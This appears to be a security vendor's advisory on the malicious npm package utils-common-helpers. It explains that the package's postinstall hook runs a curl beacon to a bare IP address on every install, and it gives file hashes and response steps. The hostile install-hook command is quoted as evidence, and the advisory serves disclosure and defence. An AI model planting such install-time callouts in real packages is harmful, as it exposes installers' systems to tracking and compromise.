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Malicious package

utils-common-helpersnpm

Advisory published Updated

utils-common-helpers is a confirmed malicious npm package (MAL-2026-5911) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in utils-common-helpers (npm)

MAL-2026-5911
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall utils-common-helpers

What this malware does

package.json declares a postinstall lifecycle hook that runs curl -s http://8.140.205.78 -o /dev/null on every install. The package's only functional code is a trivial hello() helper in index.js that returns the string 'hello', which is inconsistent with the declared purpose of 'Common utility helpers for frontend projects'. The lifecycle network call has no relation to any advertised functionality and serves only to disclose the installer's public IP address and install timing to the operator of the bare IP 8.140.205.78. This is a classic install-counter / victim-discovery beacon pattern: a throwaway lure package whose real purpose is the install-time callout. Plain HTTP to a bare IP (no TLS, no domain, no documented purpose) is inconsistent with any legitimate telemetry shape.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

e6999f05f6036baf4f6d45de0c55c6dd63452dc59ab6ebcbad0ffebf93e60584
5d7c362bd8c9dbbe6e906877925eb6bd5d2facdacd7decdd16c59bea3dec7762

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for utils-common-helpers (version 1.0.0).

  2. If you installed it — respond

    utils-common-helpers establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If utils-common-helpers was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. utils-common-helpers on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006802GHSA-fq4g-5xjj-r935

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks utils-common-helpers-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

utils-common-helpers (npm) malicious package — MAL-2026-5911 | O3 Security